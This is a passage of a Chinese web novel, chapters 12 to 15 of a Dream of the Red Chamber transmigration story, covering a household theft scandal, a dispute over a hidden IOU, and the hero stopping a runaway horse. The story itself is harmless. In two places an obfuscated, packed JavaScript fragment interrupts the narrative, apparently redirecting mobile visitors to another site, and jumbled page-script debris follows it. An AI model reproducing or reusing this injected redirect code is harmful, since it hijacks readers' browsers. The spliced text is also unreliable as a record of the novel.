贾政也是这么想的,他们以最快速度回到国子监,还没到教室呢,贾政就被告知赖大在外面候着,说是家里有事,要接他回家。 三人都没多想,像他们这样人口众多的大家族,一天下来大事小情少说也有几十件,牵扯到自己身上,被长辈召回去问话也是常有的事。 12. 第十二章 整顿 向两个新朋友告别,贾政走出太学门,看到赖大和松烟正围着骡车团团转,他扬了下眉,看来事情不小啊,这两个都急得转起磨来了。 他轻咳一声,松烟听到声音,立即跑了过来,哭丧着脸道,“爷,你可算出来了,家里出了大事,太太命我们接爷回去呢。” 在贾政看来,除了抄家都不是大事,在大结局之前荣国府的主子都活蹦乱跳的,抄家也是三十多年以后的事了。 他扫了眼赖大和松烟惨白的脸色,既好笑又有点心疼他们,贾家两代主子从不曾忘记自己的出身,对被迫卖身为奴的下人多有宽容,犯错受罚也不过是拿小木板打屁股或革银米,等主子气消了还会补偿一二,从不曾害了谁的性命,至于吓成这样么。 不慌不忙上了车,等出了国子监,贾政才问坐在脚边的松烟,“说吧,家里怎么了。” 松烟先前脸都吓绿了,见主子十分端得住,他也冷静下来,小声回道,“我们也不清楚内宅发生了什么,我们送爷回去,就去后街周瑞家吃席,刚把他送进洞房,就有一群护院跑过来把后街三个门都锁了,还把几个管事给拿了,他们守在门口,只准进不准出,也不告诉我们发生了什么,只说府里所有门都封了,要不是太太传话让我们来接爷,这会儿还关着呢。” 贾政眨眨眼,周瑞家的是王夫人心腹,也是原著中出场次数最多的下人之一,送宫花那回还怠慢过林妹妹,原来这会儿她才出嫁么,洞房还被搅和了。 至于为何封府拿人,贾政扯了下嘴角,还用问么,肯定是清库时发现硕鼠了,这是关上大门捉老鼠呢。 “放心,不与我们相干,你们只管在家待着,很快就会过去的。”贾政语气十分笃定,原身在家万事不理,王氏嫁进来不到两年,管家没她的份,库房更沾不上手了。 “真的?”松烟期待又不确定的看着自家爷,外头驾车的赖大也不太相信。 他们侍候二爷也有几年了,主子说的话很少有应验的时候,呃,但愿这次能作准吧。 看表情贾政就知道松烟在想什么,他在心里呵呵,原身在下人眼中都是个没本事的,亏他还整日端着张脸装深沉,也幸好从来没穿过帮,否则遭殃的还是自己。 他嗯了下算是回答,便闭目不再说话了。 骡车回到宁荣街,街上冷冷清清一个人也没有,路过的宁国府也是门户紧闭,住在附近的贾氏族人被两府的阵仗吓得不清,都躲回家不敢出门了。 从东角门进府,数个小厮上来卸了驯骡,改由他们拉着清油车,把贾政送到仪门才退下。 贾政穿过荣恩堂,走进荣禧堂的院子就看到大小管事跪了一地,还趴着两个屁股皮开肉绽的,他心中一凛,能让老爷生这么大的气,被盗的东西肯定不简单。 进了正堂,全家人除了贾珠都在这里呢,老爷太太坐在正首满脸怒容,贾赦夫妻和王氏都垂头站着,贾敏坐在太太下首,哭得满脸泪痕。 贾政吓了一跳,“小妹这是怎么了?” 贾母扑哧一声笑了出来,嗔道,“我们气得不行,你大哥和媳妇也吓得避猫鼠似的,你回来就只关心妹妹,合着我们都是空气么。” 贾敏也笑了,揉着眼睛道,“我没事,就是有点被吓着了。” 贾代善叹了口气,“老库里收着的御赐礼器被那起奴才盗走两件,何止敏儿被吓到了。” “啊!”贾政也吓得不轻。 册封国公爵位时除了国公授印,还有三鼎三璋六尊礼器,不仅是身份象征,上面还镌刻着御赐祖田的地契凭证。 只要不犯下夺爵抄家的大罪,哪怕没了爵位,礼器也不会被收回,其上镌着的祖产照样可以传承下去,在后世帝王面前甚至能当半个免死金牌用,如此重要的东西,竟然被偷了? 贾赦发现弟弟在打晃,赶忙走过来扶住,“别怕,丢的两璋都找回来了。” 贾政顺着他手指的方向看去,主位后面的桌子上摆着一大两小三只青铜鼎,还有一只玉瓶,一枚圭壁,一只玉笏,都是极好的羊脂玉所制。 贾政松了口气,逐一看过六件礼器,三只青铜鼎六龙六螭,古朴厚重,圭壁有两只手掌那么大,雕工十分细腻,玉瓶和玉笏外形朴素,却比圭壁更莹润柔亮些。 他突然生出个不可思议的想法,“那些人偷的,该不会是玉瓶和玉笏吧?他们是打算把上面的字磨掉,当做普通玉器换银子吗?” 贾敏哇了声,“原来二哥也有铁口直断的时候,礼器又卖不掉,要不是下人招供,我们还想不到他们偷去做什么呢。” 贾代善哼了声,“都是我们对下太过优容,才养出这等背主丧良心的奴才,要不是发现及时,我们全家的性命都得搭在他们手上。” 贾母叹道,“善待奴婢是太爷留下的传统,我们不好改动,况且太过严苛在外人看来也不像话。政儿,叫你回来是让你们兄弟亲自把库房清理一遍,东府那边也忙着清库呢,你们也得搭把手,还要准备圣寿节的礼,你们外祖父又要办七十大寿,好多事都往一块儿赶,你学业先放一放吧,把家里的事忙完再说。” 不待贾政应是,贾赦抢先道,“太太说的是,对下苛责太过不是我们家的规矩,虽然他们做得不对,也不能失了国公府的体面。” 王氏冷笑一声,“依大哥的意思,难道就放过他们不成。” 贾政看向王氏,不明白她这时候反驳贾赦有何用意,家里有老爷太太做主,什么时候轮到她说话了。 发现贾赦收紧了双手,大嫂石氏也紧紧捏着帕子,贾政突然就想明白了。 现在掌事管家的人都是看着贾赦长大的老仆,贾赦肯定不忍他们受罚。 大嫂是担心换成太太的人管家,下人会倒向二房,后宅就更没她说话的地儿了。 而王氏要严惩犯事之人,就是在明着帮太太争权,只要后宅落到太太的陪房手上,还怕没有二房出头的日子么。 嗯,想法是没错,但明着说出来就不对了,荣国府的一家之主是贾代善,贾家世仆不 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宁国府那边同样在清库,他们家是长房,礼器都供在祠堂里,丢是不可能丢的,但也不代表库房就干净了,丢的东西那叫一五花八门,种类繁多。 贾敬父子都不是好脾气的人,敬大嫂子怕他们闹出人命,天天派人来请兄弟俩过去灭火。 在家里忙了四五天,才整理完所有库房,让贾政狠狠见识了一把大贵族的豪奢,玛瑙杯琉璃碗堆积如山,各色皮毛晒了几院子,压箱底的金银要用卖猪的大秤才能秤得过来。 好消息是从江南带回来的家当,包括贾敏的嫁妆和贾政私库都没有遗失之物,坏消息是老库和太太的陪嫁库房,还有贾赦私库都少了不少东西,虽然失物有近八成被王氏抄回来了,也免不了一场好气。 贾政的私库一直是赖大管着,他对自己的管理成果十分得意,太太四个心腹去了两个,赖嬷嬷成了太太身边第一得用之人,连带赖家人也跟着水涨船高。 贾政表面夸奖赖大,心里却清楚荣国府最大的硕鼠就是赖家母子俩,只是他们更加狡猾,知道触怒了荣国府真正的当家人,太太少爷也保不住他们,一直蛰伏到贾代善过世才敢露出贪婪本色。 把犯事的下人送到城外庄子上,贾政的任务就算完成了,如何整顿奴仆制订家规是老爷太太的事,他一个早晚要分家另过的小儿子还是不要多嘴的好。 他回到东跨院,洗漱过后就去看贾珠,小家伙是二月十二那天出生的,已经四个多月了,贾政前几天才发现儿子跟林妹妹是同一天生日,心情复杂之余,对儿子的身体更加重视了。 贾珠对经常陪自己玩儿的父亲亲热极了,见贾政来了就笑得口水直流,贾政抱起儿子亲小脸,小家伙咿呀出声,笑得更欢了。 贾政揉着儿子肉肉的小脸,笑道,“养胖了好些,奶娘辛苦了,新买的绸缎赏你们几尺,给家里孩子做几身夏天衣服吧。” 两个奶娘笑着谢了赏,贾政刚要放下贾珠,就有周瑞家的来请,说是王氏有要紧的事跟他商量。 13. 第十三章 贪婪 王氏陪嫁的四个大丫头以福禄寿喜为名,年纪最大的福儿是通房周氏,她的哥哥周瑞求娶了禄儿,从丫头变成管事媳妇周瑞家的,继续回来当差。 寿儿和喜儿还没到出嫁年纪,如何安排全看王氏的意思,贾政是不会管的。 听说王氏有事找自己,贾政正式看了两眼已经嫁为人妇的丫头,肤白如雪,柳叶弯眉,细长吊梢眼,珠圆玉润,颇有几分姿色,而且脑子也比较清醒,明白在王氏手下当姨娘不如当管事媳妇有前途,早早嫁人才是上选。 把贾珠交给奶娘,贾政来到二进院最前面的正房,周氏和几个丫头都站在廊上,看到贾政就笑盈盈福身叫爷,贾政没反应她也不恼,笑着亲手打了帘子。 贾政没有瞧不起下人的意思,不搭理周氏是打算找到合适人选就把她嫁出去,给她一千两当嫁妆,二嫁也不愁没好日子过,才二十来岁的小姑娘,不能让她耗在内宅虚度青春。 走进堂屋,寿儿笑着迎上来,掀帘子请他往东间坐,王氏就在里面炕上,正侧身看桌子上的东西。 见贾政来了,她起身请他在上首坐了,接过喜儿送上的茶盏亲自端给贾政,而后便挥手屏退众人,将桌子上的纸条拿给他看。 贾政接过纸条,上面打头是欠条两个字,下写着:京都安定门外二十里,赵家庄最东十五亩上等田,愿赌服输,现抵押在此。 他皱眉道,“这是田主输给赌场的?你是打哪儿得来的?” 王氏满脸得意,压低声音道,“这是抄二门管事家时我偷偷藏起来的,爷是不知道京城外的田地有多难买,难得遇到十五亩上等田,爷拿着欠条亲去收回来,就是我们自己的了。” 贾政差点被她的嘴脸恶心吐了,看原著时只觉得她无能又狠毒,现在看来贪婪才是她的本色。 或者说王家人都是一路货色,从薛姨妈到王熙凤就没有不贪的,王熙凤好歹眼光还高些,不稀罕占小便宜,王氏连十五亩地都不肯放过,这哪是大家闺秀,比村头的泼妇还让人不齿。 贾政心里气极,面上却笑道,“抄家可是我帮你争取到的肥差,你只偷藏了这点东西么,我可不信。” 王氏冷哼了声,嗔道,“有老爷太太派来的人眼不错的盯着,我能避开他们藏起这张欠条已经很不容易了,爷竟然还怀疑我。” 贾政审犯人多年,真假话还是能分辨的,看出她没有说谎,便抬手把欠条放到蜡烛上烧了。 他站起身,对瞠目结舌的王氏冷笑道,“爷不差这十五亩地,你要是再敢干占人便宜的事,我就去请老爷太太教导你贾家的规矩。” 贾政拂袖而去,出正堂门时听到里面传来瓷器摔到地上的声音,他不屑的撇了下嘴,那点田地未必有她摔的东西值钱呢,一点蝇头小利都不愿放手,这种眼馋肚饱的东西没的叫人倒胃口。 贾政只当烧了欠条便能断了王氏的念想,懒得再为她浪费时间,出了正房就去一进院看贾敏,用自家灵秀可爱的小妹洗眼睛。 贾敏跟在太太身边忙了几日,也是今天才闲下来的,正跟丫头们商量做帷帽的事,二哥送了三匹布给她,干放着岂不是辜负了他一番心意。 见二哥来看自己,她忙命丫头上茶,福身笑道,“二哥怎么知道我们正要做帷帽,来得这样巧。” 贾政也笑道,“那正好,让丫头摘几片竹叶,再取个木锤来,我们做个新奇的帷帽,妹妹下次去诗会时戴上,把众人都压倒。” 贾敏大笑,“我就说二哥怎么突然想起送我做帷帽的细纱了,原来是在惦记诗会的事,我们姑娘家玩笑而已,你怎么还当真了。” 贾政哼了声,“怎么是我当真,牛家姑娘做诗比不上你,就在旁门左道上欺负人,还传得满京都都知道了,下次一定要胜她一局,让人知道我们荣国府不是好欺负的。” 贾敏无奈抚额,以前怎么不知道二哥这么幼稚,幸好未婚夫不像他,不然嫁过去还得哄孩子。 竹叶和木锤很快送了上来,贾政让贾敏裁下一块白纱,在桌上铺了十张宣纸,竹叶放在上面,再铺上白纱,用木锤轻轻敲击下面的竹叶,叶片里的汁水染在白纱上,印出一片清晰可见的竹叶。 贾政笑道,“这是我从书上看到的染色方法,帷帽上不能绣花,那就用这个办法在适当的位置染上花草添加颜色,再用盐和明矾固色即可。” 贾敏都看呆了,拿起白纱惊叹道,“好逼真的竹叶,原来还能这么染色么。” 她的大丫头笑道,“要是都这样取巧,我们的绣工可就白学了。” 另一个大丫头不服气道,“我不信厚料子也能印成这样,况且只有花草能敲出印子来,想取代我们还早着呢。” 贾敏笑道,“少贫嘴了,我们去后花园多采些花叶试几次,看印成什么样的才好看。” 后花园里夏风和煦,水波潋滟,竹林间隙种满了各色鲜花,美不胜收,贾政命人把贾珠也抱过来,跟小姑娘们采花摘叶,用木锤在纱上敲啊敲,组合出各种花草图案。 贾珠从没和这么多人一起玩过,一会儿看人敲木锤,一会儿又指着花草要去摘,开心的啊啊直叫。 贾母正带长媳理事,听下人报说二爷和姑娘在后花园玩新奇玩意儿,也跑过来凑热闹。 她笑道,“我就知道你一心只想着妹妹,对我这老邦子早看不顺眼了,我不管,拿木锤来,我也要玩儿。” 贾敏呵呵笑着送上木锤,母女俩嘻嘻哈哈玩在一处。 石氏印了两朵小花便罢了,她对贾珠更感兴趣,经过贾政半个多月的调理,小家伙终于长胖了些,白白嫩嫩,大眼睛一笑就弯成月牙,可爱极了。 贾政察觉到大嫂的目光,便把儿子交到她怀里,贾珠也不认生,咿呀咿呀笑得像个福娃娃,逗得石氏心花怒放。 贾母看到伯娘和侄子玩得甚是和乐,不禁小声跟贾政感叹,“挺好的人,怎么就不生孩子呢。” 长媳出身显贵,温婉清丽,圆融干练,色色都能甩二儿媳几条街,贾母再不喜欢婆婆,也得承认她比自己会挑媳妇。 可女人要是没个儿子做倚仗,又能走多远呢。 贾政笑道,“急什么,早晚会有的。” 他记得贾琏也就比贾珠小两三年,大嫂今年也不过二十一岁,过几年再生也 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荣国府与前朝后宫都有关系,皇帝的乳母甄家同样来自金陵,贾家前几代有姑娘嫁到他们家,甄家也有姑娘嫁过来,虽是远亲也血脉相连。 贾代善和甄应嘉自小就是好兄弟,王氏二哥王子腾娶的又是甄家女,远亲加姻亲,自家跟甄贵妃和三皇子的关系不是一般亲近。 偏偏母家亲娘舅又是东宫詹事府的人,宁国府贾敬也明里暗里接受了太子少傅的拉拢,荣国府站在当间,哪边都不敢得罪,只能紧紧扒着皇帝大腿当忠臣,比走钢丝还惊险,哪敢怠慢皇帝的寿宴。 柳节唉了声,“到底会办成什么样啊,内务府也不给个准信,我们想出去玩儿几天都不行。” 谢鲲捅了他一指头,“可闭嘴吧你。” 冯唐走进教室,看到他们坐在后面嘀咕,他也凑了过来,压低声音道,“你们没听到消息么,今年回部好像会来献礼,据说西边内乱了,想请我们出兵帮忙平乱呢。” 谢鲲立时激动起来,“还有这好事,你从哪儿听到的消息,快跟我说说。” 贾政也很兴奋,要是朝廷同意出兵,他的官职就有希望了,哪怕在后勤部队当个师爷,也不愁没有立功的机会。 冯唐摆手示意他小点声,“我家有个门客在会同馆当职,他说上头让他们整理馆驿,准备迎接西边的人,具体怎么样还没准信呢。” 柳节急得跺脚,“哎,你们谁有门路,听到信儿告诉我们一声,天天在国子监混日子有什么趣,共同谋个前程才是正经事。” 贾政也急得不行,点头应道,“柳兄说的是,我堂兄在礼部,打听到消息了就给你们送信去。” 戚建辉也笑道,“我丈人在鸿胪寺,今晚就带内人回娘家,总能掏点消息出来。” 其他人也有亲朋在行人司和四夷馆这些对外部门,大家约定互通有无,军中的好职位就那么些,不尽快下手是要吃亏的。 贾政想到上战场就内心火热,虞朝的西边疆域仅止步于天山脚下,北边距离乌兰巴托也有几百里之远,参军不仅为加官进爵,开疆拓土才是男人的至高荣耀,上辈子没那个条件,这辈子一定要抓住这个机会。 14. 第十四章 救人 贾政满脑子都是建功立业,屁股下像坐了只刺猬似的,根本无心上课,谢鲲几个同样心里长草,下课就跑没影儿了。 贾政收拾书包去找林如海,林家四代列侯,一直简在帝心,这代林侯任户部左侍郎多年,出兵前必定会有粮草调动,或许他能知道一些。 听了贾政的疑问,林如海哑然失笑,“二哥该不会也想上战场吧?” 贾政嘿了声,单手扣住他的脖子和半边肩膀,笑道,“怎么着,看不起人啊,我告诉你,哥哥的本事大着呢,上战场至少能给你们赚个大将军回来,以后贾林两家就归我罩着了。” 林如海像是被钢钳制住的小猫,张牙舞爪好一会儿也无法摆脱禁锢,差点呼吸不上来,没想到看似削瘦的贾政居然有这么大的力气。 他赶忙求饶,“我错了,不该打趣二哥,回家就问我父亲去。” 贾政这才满意了,松开手把林如海扶正,拍着他单薄的肩头,担心道,“就这副小身板,二月那么冷的天气,在小黑屋里一关就是七天,你能挺住吗?” 林如海整理服饰的手顿了下,一时竟不知如何回答。 之前他从未考虑过体力问题,毕竟秋闱一场考两天也挺过来了,发现自己在贾政手上毫无反抗之力,他也有点担心了。 两人正相对无言,一个矮胖青年呼啸着跑过来,没到跟前就叫道,“贾政,做什么欺负林海!” 啊?!两人呆呆看着他,好奇这家伙打哪儿看出他欺负人/挨欺负了? 青年看两人的表情就知道自己弄错了,对贾政连连欠身,挠着脑袋呵呵傻笑。 贾政笑着摆手表示不介意,林如海拉住他的手,“住手吧你,再挠头发就散了。二哥,这位是我好友,吴天佑。” 贾政瞳孔微震,好家伙,未来的吴贵妃之父,没在新皇登基时出过大力,吴家女可坐不上这个位置。 林如海和吴天佑是好友,岂不是说他跟下任皇帝早就相识了,甚至关系比他猜测的还要紧密。 贾政并没有与吴天佑深交的想法,随意寒暄几句,嘱咐林如海别忘打听消息,便告辞向国子监大门走去。 他曾看过某个博主对红楼的解读,认为林如海是下任皇帝极为亲近信任的好友,才会把关乎税收大计的江南盐政交到他手上。 而贾元春之所以封妃,是皇帝担心林如海过世后贾家失去依仗,不能保护林黛玉,不得不抬个贾家女彰显荣国府的地位。 后来也是因为贾家养死了好友之女,皇帝盛怒之下赐死贾元春,抄了宁荣两府为林如海报仇。 如今看来,这种推测并非没有依据,林如海要是成了新皇近臣,荣国府也算半只脚上岸了,只要维持忠臣人设不倒,别做那些贪赃枉法的事,再保护好小妹一家,就不用担心被新皇清算了。 贾政轻吐口气,心情难以抑制的飞扬起来,虽然这些只是猜测,也不能保证未来是否会出现变数,但细算下来,贾家只要立身端正,不奢求从龙之功,哪个皇子登基影响都不大。 当今只养大了四个皇子,太子是正宫所出,既长又嫡,是名正言顺的储君,外祖史家是太子死忠,看在舅舅的面子上太子也不会为难荣国府。 三皇子是甄贵妃所出,与贾家是血亲加姻亲,更没有出手的理由了。 五皇子就是那天在茶楼救他的人,母妃出身江南诗书世族,过世后追封为皇贵妃,他是身份仅次于太子的皇子,以当今对江南世家的忌惮,他想上位的难度不是一般的大。 七皇子才十五岁,母妃只是普通宫妃,为人也比较低调,据说书读的还不错,其他就不知道了。 所以,林如海交好的皇子究竟是哪一个?太子应该就是原著中那个坏了事的义忠亲王,死后连副好棺材都没捞上的倒霉蛋。 三皇子要是成功上位,甄家和贾家也不会被抄了,那就只剩下老五和老七了。 贾政回想那双笑意盈盈的桃花眼,不由打了个激灵,五皇子司徒衡,字和光,和自己同岁,当时看着挺温和一人,再回忆时却觉得他的眼中藏着太多看不懂的内容,让人心里直发寒。 “咳,这位同学,逃学不必逃得这么明显吧?” 凉凉的声音在身后响起,贾政吓了一跳,这才发现自己站在国子监大门前不知多久了,回头见是李博士正皱眉看着自己,他尴尬的抱拳一礼,头也不回的跑开了。 这位李博士就是后来的国子监祭酒李守中,贾珠未来的岳父大人,两个亲家一个是国家级学者,一个是留级的学渣,原身是怎么好意思上门提亲的? 贾政没那么厚的脸皮,足跑了一条街才停下,他打量眼前的街道,突然发现凭自己很难找到回家的路。 原身出门从来都是前呼后拥足不沾地,想去哪里只需说出地点即可直达,记忆中根本没有路的概念,又没法呼叫赖大来接自己,难道要一路打听着回家吗? 他正为难,前面突然传来呼喝声,抬头就见一匹高头大马拖着马车直冲而来,所过之处人躲摊翻,惊叫声连成一片。 惊马了? 看着身后的路人,贾政瞬间保护意识上头,人重要还是马重要,这是根本不用考虑的问题,身为警察他不能眼看百姓受到伤害。 贾政操起旁边店铺前的长凳,只身拦在路中间,在马跑到近前时对准马的左前腿狠狠拍了上去。 马匹吃疼的长嘶一声,扬起前腿就要给贾政来个疯马践踏,却忘了身后还拖着马车呢,重心后移的下场就是被车厢坠得向后倒去,又被身上的套索向前扯住,最后侧身栽到在地,口吐白沫四腿蹬直,眼看就要不行了。 后面的车厢也随之侧翻过去,从里面滚出两个男子,一个落到地上就没了动静,后滚出的中年人摔到前面人身上,疼得直哎哟。 贾政已经躲到街边,又操起个长凳准备马蹄落下时再给它一下子,没想到这马这么不禁打,一板凳就拍翻了。 他放下长凳跑去救人,先把趴在别人身上叫疼的家伙挪到一边,再试探昏迷不醒之人的颈动脉,跳动规律有力,问题应该不大。 贾政松了口气,抱拳对周围的路人道,“麻烦大家,帮忙找个大夫过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900595|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 立即有几个热心人往医馆跑去,中年人也认出了贾政,叫道,“贾贤侄,你怎么在这里?” 贾政定睛打量此人,边在记忆中快速翻找,终于想起他是谁了。 薛伍,紫薇舍人的长子,与贾家同为金陵四大家族的薛家长房老爷,现在通政司任职。 他看原著时就疑惑王氏姐妹既是一母所出,为何所嫁之人天差地别,长姐嫁的是国公府次子,妹妹却嫁给了一介商贾。 接收记忆时才知道,原来薛家是有官职的,父子两代人都在通政司任职,这可是非帝王心腹连边都摸不到的重要部门,因此王家才会把小女儿嫁进薛家。 至于下一代为何会沦落为皇商,贾政看着灰头土脸的薛伍,大概是因为当家人早逝了吧。 他笑道,“我没事,薛世叔不要动,大夫很快就到了。” 薛伍紧紧拉着他的手,额头上布满豆大的汗珠,双眼不安的在周围人群中巡视,生怕有人跳出来给他一刀似的。 贾政意识到马匹受惊的原因可能不简单,正要问他要不要换个地方等大夫,围观人群就被人从两面分开,前后两拨人把贾政和薛伍堵在路中间。 前面来的人是四个身穿飞鱼箭袖的御前侍卫,骑在高头大马上,目光森冷,气势逼人。 后面是一辆盘龙飞凤的黄梨马车,金顶红帏,宽大华丽,连赶车随车的人都披金佩玉,神情倨傲。 看清来的是什么人,围观百姓像练过凌波微步似的,瞬间消失得无影无踪,只留下当中的贾政和薛伍眼巴巴对视。 看这两边的架势,分明是来抢人的,问题是跟谁走才是正确选择啊? 四名御前侍卫面对东宫车架丝毫不惧,只在马上拱了拱手,朗声道,“下官有上命在身,请恕不能大礼参见了。” 马车内传来一声冷哼,听声音有些年纪了,应该不是太子本人。 贾政目送东宫车驾调头离去,又转头看向四名御前侍卫,气度昂扬,目光坚毅,一看便知是手上沾过血的悍将。 四人也在打量贾政,唇红齿白,细皮嫩肉,眼神正气中带着稚气,穿着青色监生服,像株挺拔的小翠竹。 他们面露不忍之色,这么好的孩子,怎么就搅进这等污糟事里了,也不知还能不能有命在。 其中一人俯身道,“小兄弟,感谢你仗义出手,跟我们走一趟吧,你家在哪里,我们派人通知你父母一声。” 薛伍抢在贾政之前开口,“他是荣国府的二公子,不要乱来啊。” 敢当街带走贾代善的儿子,信不信他能把侍卫处掀了。 四人俱是一缩脖子,脸变得比翻书还快,谄笑着猛拍马屁,“失敬失敬,原来是小公爷,难怪能徒手击毙疯马,不愧是武勋之后。” 贾政也尬笑着回礼,心说这几个面对东宫车驾都没这么谄媚,难道自家老爹比太子还可怕不成? 不多时,大夫就被请来了,施针救醒昏迷之人,又给薛伍正了骨,两人连同马车都被随后赶来的侍卫带走了,留下贾政继续茫然,就是说,怎样才能回家啊? 15. 第十五章 闯祸 “那个,小公爷可是在为脚力发愁么?”老大夫见多识广,见富贵公子身边没一个跟着的人,立即猜到他的窘境。 贾政赧然,“是啊,敢问老仗,可知哪里能雇到车马么?啊,对了,诊金是多少?” 老大夫笑着摆手,“不忙不忙,官府不会占百姓这点子便宜,诊金官爷随后会送来的。老朽家里有只老驴,昨儿刚洗刷过,或可为小公爷代步。” “那就有劳了。”贾政拱手道谢,心里却在苦笑。 他不是愁脚力啊,京都顶多北京二环那么大,腿儿着走一圈都不带大喘气的,找不到回家的路才是大问题好不好。 随老大夫来到医馆后院,他从棚里牵出一头白唇白眼圈的灰驴,比正常驴矮上不少,大大的耳朵一只立一只趴,长得搞笑就算了,脾气还挺大,看到贾政就嗯啊嗯啊叫个不停。 贾政就喜欢这种犟的,小动物有个性才可爱,他从荷包里翻出一大一小两块碎银递给老大夫,大概有个三四两,应该够买一头驴了。 老大夫笑道,“小公爷不知,一头壮年驴也才三两银子,老朽这头老驴五钱银子已是抬举它了,这两块一个是四两的,一个是二两的,都太多了。” 贾政把小块碎银塞到老大夫手上,不容拒绝道,“二两银子,不能再少了,要是我爹知道我占百姓便宜,他该揍我了。” 老大夫笑得满脸核桃褶,收下银子指着远处的高楼道,“那是大明宫的东北角楼,顺着宫墙走到正门,再往南走四条街就是宁荣街了。” 贾政大喜,怎么忘了京都最重要的地标建筑了,只要认准大明宫四个方向的角楼,走到哪里都不会迷路的。 谢过老大夫,贾政侧坐在驴背上,扯着它的耳朵控制方向,溜溜达达往家走去。 虞朝立国才四十多年,二代帝王正值壮年,储位之争只敢在暗处进行,内政整肃,外无强敌,国力鼎盛,欣欣向荣。 京都市井繁华,人烟阜盛,店铺摊贩鳞次栉比,所售商品有很多是贾政没见过的东西。 钟表店、香胰店、琉璃店、糕点店、糖果店、小吃店一样不少,贾政边看边笑,这是要绝了穿越者的后路啊,幸好他是国公府的少爷,否则想靠现代商品发家太难了。 贾政被繁华市井吸引,从回家变成逛吃逛吃,越玩越嗨皮,却不知家里已经炸窝了。 大明宫分为外朝、内朝和后宫三部分,外朝是核心部门所在地,内阁、六部、内务府和侍卫处等衙门都在这里,东宫与外朝也只有一墙之隔。 御前侍卫带薛伍两人回侍卫处复命,还不忘派人去兵部跟贾代善招呼一声,贾二少拦马救下两名身负皇命的官员,如此壮举必须宣扬一番,让世人知道钟鼎翰墨之家不是只有无用的纨绔。 贾代善一点没觉得自豪,听说儿子一板凳放倒疯马,他吓得手脚发软,同僚也受惊不小,催他赶紧回家看孩子去。 他一路快马加鞭,到家才知道贾政根本没回来,又跑去国子监,被告知贾政早就走了,和他同班的学生也全跑没影儿了。 贾代善又惊又气,国子监祭酒也慌了,连同宁荣两府和五城兵马司,撒开人马满京都寻找贾政。 东宫也接到了消息,听说贾政曾与东宫车驾对峙过,然后人就不见了,太子爆跳如雷,“又是这个贾政,上次他受伤就有人说是孤干的,这次他又失踪了,要是找不回来,孤满身是嘴也说不清了。” 史家舅舅是詹事府的正六品府丞,听说外甥不见了,他已经打发人回家,让妻子派人出去寻找。 见太子发火,他赶忙建议道,“殿下息怒,把人找回来就行了。” 太子看到与贾政有关的人就气,指着史舅舅叫道,“你亲自带人找去,找不到就别回来了。” 贾政在路上逛吃逛吃,毛驴犯犟时就用美食哄它,还给它起名顺风耳,小名顺风,买个褡裢搭在它脖子上,遇到喜欢的零食就多买几份,一人一宠组成逛街好搭档,吃得肚子溜圆。 晃到中午,他才接近宁荣街,守在街外的宁国府老仆认出贾政,嗷唔一声扑了上来。 顺风吓得两只耳朵都立起来了,贾政赶紧使出千斤坠压制它,不让它踢到老人家。 “焦叔,家里出什么事了?” 焦大是宁国府的外院管事,仗着随大爷爷上过战场,在两府颐指气使谁也看不上,能让他吓成这副模样,难道皇帝老儿提前抄家来了? 焦大被问得一愣,指着贾政怒道,“你个小孽障逃学便罢了,还把全家人吓个半死,等你老子回来有你一顿好打的,还不快回去见你太太呢。” 贾政被骂得一脸懵,被赶来的下人围起来往家里走,直送到贾母面前还不知道发生了什么。 贾母满面泪痕的坐在主位,林如海的母亲,史家舅母,敬大嫂子和石氏王氏贾敏都在,集体用死亡视线瞪着他。 贾政对这个场面太熟悉了,上辈子每次闯祸都是同样的阵仗,全家集聚先骂再打,他下意识绷紧臀部,已经感觉到疼了。 他用无辜的小眼神看着贾母,逃个学而已,不至于近亲姻亲集体上阵吓唬孩子吧? 见儿子一副迷茫又无辜的傻样,贾母气结,指着他说不出话来,眼泪哗哗往下掉。 林侯夫人柔声劝道,“孩子没事就是万幸,亲家母合该高兴才是,男孩儿哪有不淘的。” 舅母叹了声,“看政儿这样,还不知自己闯下多大的祸吧,侍卫处的人说你当街拦了一匹疯马,姐夫吓得半死,又满城找不见你,这会子五城兵马司,国子监,顺天府和詹事府,还有我们几家都撒开人马找你呢。” 贾政瞠目结舌,不是,他又不是啥重要人物,不至于惊动几方势力找他吧,丢了这么大的脸,老爷还不得气疯了,回来肯定会打死他的。 他呜咽一声,正要牵驴跑路,院子里就传来贾代善的怒吼,“那个孽障还敢回来,看我不打死他。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900596|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾政吓得一蹦三尺高,拼命向太太发送可怜光波,希望能唤醒她的母爱,救自己一命。 贾母这次是真被气着了,非但不帮忙,还挥手命丫头把他赶出去。 丫头们一拥而上,七手八脚把贾政推出正堂,放下帘子,让他独自面对老爹的怒火。 贾政见老爷横眉冷目,提着鞭子怒视自己,腿软的差点跪地上。 同贾代善一起回来的是京营节度使,镇国公府的牛伯爵,他也是一肚子气,见贾政瑟缩成一团,可怜巴巴的,又忍不住想笑。 “好了好了,贾兄,孩子没事就行呗,打坏了他心疼的不还是你自己。” 看到儿子吓得兔子似的,贾代善的火气就降下一半了,但还是气不过的骂道,“你小子是有多大本事,看到疯马不知道闪躲,反倒迎上去阻挡,你要是有个三长两短,你太太还活不活?” 贾政此时才明白老爷太太在气什么,他们不是怪他逃学贪玩,而是在担心他不知轻重伤害到自己。 